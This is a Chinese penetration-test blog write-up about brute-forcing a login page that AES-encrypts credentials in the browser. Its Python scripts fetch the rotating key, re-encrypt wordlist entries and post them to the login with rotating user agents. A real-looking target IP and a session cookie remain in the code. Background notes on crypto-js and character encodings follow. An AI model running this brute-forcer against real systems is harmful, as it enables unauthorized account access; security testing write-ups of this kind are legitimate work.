zoukankan      html  css  js  c++  java
  • 项目记实(一)

    前言:HW前期,某集团公司为加强安全建设,进行安全测试项目,渗透过程中发现很多问题,这里不一一记录。此文仅为记录针对某处前端AES加密,使用python进行算法实现,最后达到暴力破解的目的

    0x01.分析

    这是某人员档案系统的登录后台

    我们查看它的网页源代码,发现采用AES前端加密方法(估计是疫情期间临时紧急搭建的平台)

    0x02.设计思路

    到/a/k文件中获取当前时间的加密字符串,作为key值(key每经过30s左右的时间就会更新一次),进入Encrypt函数进行加密

    function Encrypt (text,key) {
    		let encrypted = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(key), {
    			iv: CryptoJS.enc.Utf8.parse(key),    #密码:key;偏移量iv:key;字符集:utf8
    			mode: CryptoJS.mode.CBC,    #AES加密模式:CBC
    			padding: CryptoJS.pad.Pkcs7   #填充:pkcs7padding
    		})
    

    0x03.实现

    第一步 请求key值:

    import ssl
    import urllib.request
    
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen('https://xx.xx/a/k/')
    text = data.read().decode('utf8')
    print(text)
    

    第二步 加密过程实现:

    import ssl
    import urllib.request
    import base64
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    
    
    class AESCipher(object):
    
        def __init__(self, key, mode, **kwargs):
    
            self.key = key
            self.mode = mode
            self.kwargs = kwargs
    
        def _get_aes(self):
            return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
    
        def encrypt(self, plain_text):
            # 选择pkcs7补全
            pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
            encrypt_data = self._get_aes().encrypt(pad_pkcs7)
            return str(base64.b64encode(encrypt_data), encoding='utf-8')
    
    
    def main():
        ssl._create_default_https_context = ssl._create_unverified_context
        data = urllib.request.urlopen('https://xx.xx/a/k/')
        key = data.read().decode('utf8')
    
        cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
        cipher_text = cbc_cipher.encrypt('admin')
        print(cipher_text)
    
    
    if __name__ == '__main__':
        main()
    
    

    第三步 字典自动化加密过程实现

    import ssl
    import urllib.request
    import base64
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    
    
    class AESCipher(object):
    
        def __init__(self, key, mode, **kwargs):
    
            self.key = key
            self.mode = mode
            self.kwargs = kwargs
    
        def _get_aes(self):
            return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
    
        def encrypt(self, plain_text):
            # 选择pkcs7补全
            pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
            encrypt_data = self._get_aes().encrypt(pad_pkcs7)
            return str(base64.b64encode(encrypt_data), encoding='utf-8')
    
    
    def encrypted(password):
        ssl._create_default_https_context = ssl._create_unverified_context
        data = urllib.request.urlopen('https://xx.xx/a/k/')
        key = data.read().decode('utf8')
    
        cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
        cipher_text = cbc_cipher.encrypt(password)
        print(cipher_text)
    
    
    if __name__ == '__main__':
        wordList = open('word.txt','r')
        word = wordList.readlines()
        for password_list in word:
            password = password_list.strip()
            encrypted(password)
    
    

    第四步 构造数据包,发送网络请求

    import ssl
    import random
    import urllib.request
    import requests
    import base64
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    import urllib3
    
    
    
    class AESCipher(object):
    
        def __init__(self, key, mode, **kwargs):
    
            self.key = key
            self.mode = mode
            self.kwargs = kwargs
    
        def _get_aes(self):
            return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
    
        def encrypt(self, plain_text):
            # 选择pkcs7补全
            pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
            encrypt_data = self._get_aes().encrypt(pad_pkcs7)
            return str(base64.b64encode(encrypt_data), encoding='utf-8')
    
    
    def encrypted(a):
        ssl._create_default_https_context = ssl._create_unverified_context
        data = urllib.request.urlopen('https://xx.xx/a/k/')
        key = data.read().decode('utf8')
    
        cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
        cipher_text = cbc_cipher.encrypt(a)
    
        brute(cipher_text)
    
    
    # 暴力破解
    def brute(value):
    
        proxy = {
            "https": "https://127.0.0.1:8080",
        }
        headers = {'Host': 'xx.xx',
                   'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1',
                   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
                   'Content-Type':'application/x-www-form-urlencoded',
                   'Connection': 'close',
                   'Content-Length': '75',
                   'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
                   'Upgrade-Insecure-Requests':'1'}
        values = 'username=%s' % value + '&password=%s' % value
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        requests.post('https://xx.xx/welcome.html', headers=headers, data=values, proxies=proxy,verify=False)
    
    
    if __name__ == '__main__':
        wordList = open('word.txt','r')
        word = wordList.readlines()
        for password_list in word:
            password = password_list.strip()
            encrypted(password)
    

    第五步:双字典cluster bomb模式爆破

    import ssl
    import random
    import urllib.request
    import requests
    import base64
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    import urllib3
    
    
    
    class AESCipher(object):
    
        def __init__(self, key, mode, **kwargs):
    
            self.key = key
            self.mode = mode
            self.kwargs = kwargs
    
        def _get_aes(self):
            return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
    
        def encrypt(self, plain_text):
            # 选择pkcs7补全
            pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
            encrypt_data = self._get_aes().encrypt(pad_pkcs7)
            return str(base64.b64encode(encrypt_data), encoding='utf-8')
    
    
    def encrypted(a,b):
        ssl._create_default_https_context = ssl._create_unverified_context
        data = urllib.request.urlopen('https://xx.xx/a/k/')
        key = data.read().decode('utf8')
    
        cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
        cipher_text1 = cbc_cipher.encrypt(a)
        cipher_text2 = cbc_cipher.encrypt(b)
        brute(cipher_text1,cipher_text2)
    
    
    # 暴力破解
    def brute(value1,value2):
        ua_list = [
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
        "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
        "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
        "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
        "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"]
        proxy = {
            "https": "https://127.0.0.1:8080",
        }
        ua = random.choice(ua_list)
        headers = {'Host': '211.156.195.166',
                   'User-Agent': ua,
                   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
                   'Content-Type':'application/x-www-form-urlencoded',
                   'Connection': 'close',
                   'Content-Length': '75',
                   'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
                   'Upgrade-Insecure-Requests':'1'}
        data = 'username=%s' % value1 + '&password=%s' % value2
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        requests.post('https://xx.xx/welcome.html', headers=headers, data=data, proxies=proxy,verify=False)
    
    
    if __name__ == '__main__':
        with open('user.txt','r') as userList:
            with open('word.txt','r') as passList:
                for username in userList.readlines():
                    for password in passList.readlines():
                        user = username.strip()
                        word = password.strip()
                        encrypted(username,word)
                    passList.seek(0)
    # 记住这里要将文件重新移到文件首,不然就会出现只执行外层循环的第一条,因为内层在迭代之后(readlines()是迭代器的形式,迭代一次后文件指针就指到文件尾了,迭代器也是end了,第二次就没有password 在 passList中
    # 也就是说 for password in passList.readlines():为空,所以这里的内层循环就不会再被执行了,因此也就是迭代器清零的问题(C ++ itertor 常有)
    

    成果截图:

    第六步 线程

    :)加不加线程,取决于网站防护,当然,也属个人爱好,由于手里还有其他项目,这里就不赘述了。

    :Github上有针对前端加密的自动化暴力破解的burp插件jsEncrypter ,感兴趣的可以去了解下,个人属实没玩明白,不做评价。

    http://gv7.me/articles/2017/jsEncrypter/?nsukey=4euQnxPbr7mYBEh4c0PjPiuxTlc2Hk59s01x3%2B0ROVFEQ5f7yyx1Z4TijFr1Gkn0ALDGejuNlDjSshCIDmTYB1g1k%2Bt9OREnXhwGQtRCSF6qWLtYx%2BB6tp%2B2QbV%2BkB8Hw5OBey6Mu4PfzaF%2BEdX8RgK%2BN%2B6e23MyN8N%2B5xp1UY8TisnBP2k%2FeB3ixhd7M50a7oyi%2FD41CDp3HHKQ%2Bk4tVQ%3D%3D

    0x04.知识介绍

    crypto-js AES加密知识

    crypto-js 是一个纯 javascript 写的加密算法类库 ,可以非常方便地在 javascript 进行MD5SHA1SHA2SHA3RIPEMD-160 哈希散列,进行 AESDESRabbitRC4Triple DES 加解密,我们可以采用 npm install crypto-js --save 进行下载安装,也可以直接去 GitHub下载源码~

    高级加密标准(AES,Advanced Encryption Standard)为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的)。对称加密算法也就是加密和解密用相同的密钥,具体的加密流程如下图:

    值得注意的是密钥的长度,由于对称解密使用的算法是 AES-128-CBC算法,数据采用 PKCS#7 填充 , 因此这里的 key 需要为16位!

    AES加密算法详情请参考:https://blog.csdn.net/qq_28205153/article/details/55798628

    字符集、字符编码知识

    字符:在计算机和电信技术中,一个字符是一个单位的字形、类字形单位或符号的基本信息。即一个字符可以是一个中文汉字、一个英文字母、一个阿拉伯数字、一个标点符号等。

    字符集:多个字符的集合。例如GB2312是中国国家标准的简体中文字符集,GB2312收录简化汉字(6763个)及一般符号、序号、数字、拉丁字母、日文假名、希腊字母、俄文字母、汉语拼音符号、汉语注音字母,共 7445 个图形字符。

    字符编码:把字符集中的字符编码为(映射)指定集合中的某一对象(例如:比特模式、自然数序列、电脉冲),以便文本在计算机中存储和通过通信网络的传递。

    字符集和字符编码的关系 :
    字符集是书写系统字母与符号的集合,而字符编码则是将字符映射为一特定的字节或字节序列,是一种规则。通常特定的字符集采用特定的编码方式(即一种字符集对应一种字符编码(例如:ASCII、IOS-8859-1、GB2312、GBK,都是即表示了字符集又表示了对应的字符编码,但Unicode不是,它采用现代的模型)),因此基本上可以将两者视为同义词。

    字符编码的常用种类介绍

    第一种:ASCII码

    ​ ASCII(American Standard Code for Information Interchange,美国信息交换标准代码)是基于拉丁字母的一套电脑编码系统,主要用于显示现代英语和其他西欧语言。它是现今最通用的单字节编码系统,并等同于国际标准ISO/IEC 646。如下图所示:

    第二种:GBK 和 GB2312

     对于我们来说能在计算机中显示中文字符是至关重要的,然而ASCII表里连一个偏旁部首也没有。所以我们还需要一张关于中文和数字对应的关系表。一个字节只能最多表示256个字符,要处理中文显然一个字节是不够的,所以我们需要采用两个字节来表示,而且还不能和ASCII编码冲突,所以,中国制定了GB2312编码,用来把中文编进去。

    第三种:Unicode

     但这样的话,就会出现一个问题,各个国家都一套自己的编码,就不可避免会有冲突,这是该怎么办呢?

     因此,Unicode应运而生。Unicode把所有语言都统一到一套编码里,这样就不会再有乱码问题了。

     Unicode标准也在不断发展,但最常用的是用两个字节表示一个字符(如果要用到非常偏僻的字符,就需要4个字节)。现代操作系统和大多数编程语言都直接支持Unicode。   

     现在,分析一下ASCII编码和Unicode编码的区别:

    • ASCII编码是1个字节,而Unicode编码通常是2个字节。
    • 字母A用ASCII编码是十进制的65,二进制的01000001;
    • 字符0用ASCII编码是十进制的48,二进制的00110000;
    • 汉字“中”已经超出了ASCII编码的范围,用Unicode编码是十进制的20013,二进制的01001110 00101101。
    • 如果把ASCII编码的A用Unicode编码,只需要在前面补0就可以,因此,A的Unicode编码是00000000 01000001。
    • 但如果统一成Unicode编码,乱码问题从此消失了。但是,如果你写的文本基本上全部是英文的话,用Unicode编码比ASCII编码需要多一倍的存储空间,在存储和传输上就十分不划算。

    第四种:UTF-8

      基于节约的原则,出现了把Unicode编码转化为“可变长编码”的UTF-8编码。UTF-8编码把一个Unicode字符根据不同的数字大小编码成1-6个字节,常用的英文字母被编码成1个字节,汉字通常是3个字节,只有很生僻的字符才会被编码成4-6个字节。如果你要传输的文本包含大量英文字符,用UTF-8编码就能节省空间了。如下所示:

     从上面的表格还可以发现,UTF-8编码有一个额外的好处,就是ASCII编码实际上可以被看成是UTF-8编码的一部分,所以,大量只支持ASCII编码的历史遗留软件可以在UTF-8编码下继续工作。

    我们总结一下现在计算机系统通用的字符编码工作方式:

      在计算机内存中,统一使用Unicode编码,当需要保存到硬盘或者需要传输的时候,就转换为UTF-8编码。

      用记事本编辑的时候,从文件读取的UTF-8字符被转换为Unicode字符到内存里,编辑完成后,保存的时候再把Unicode转换为UTF-8保存到文件。如下图:

    0x05.说明

    文章是写代码之余做笔记来的,略显简略粗糙。代码不够精简之处,请各位python巨佬多多指教,评论区多多留言,拜谢!

    Reference

    https://blog.csdn.net/qq_28205153/article/details/55798628
    https://ww.pythontab.com/html/2013/pythonhexinbiancheng_1218/631.html

  • 相关阅读:
    Android组件界面设计工具 DroidDraw
    ExtAspNet官方示例网站和官方论坛速度归来!
    [原创]FineUI秘密花园(四) — 页面级别的配置
    [翻译]OAuth入门指南 2. 协议工作流
    ExtAspNet v2.3.4 发布了
    [翻译]JavaScript秘密花园 Type Casting,undefined,eval,setTimeout,Auto Semicolon Insertion 全部完成PDF打包下载
    [原创]祝贺《JavaScript 秘密花园》中文翻译被官方正式采纳
    [原创]使用 Google Chart 在线服务实现软件版本发布时间线图
    [原创]ExtAspNet新春贺岁版 文件上传控件、复选框列表控件、完善布局管理、表格的行扩展列、完整的100多个中文示例、30多处BUG修正与功能增强、《ExtAspNet秘密花园》系列文章
    ExtAspNet v2.3.5 发布了
  • 原文地址:https://www.cnblogs.com/H4ck3R-XiX/p/13273107.html
Copyright © 2011-2022 走看看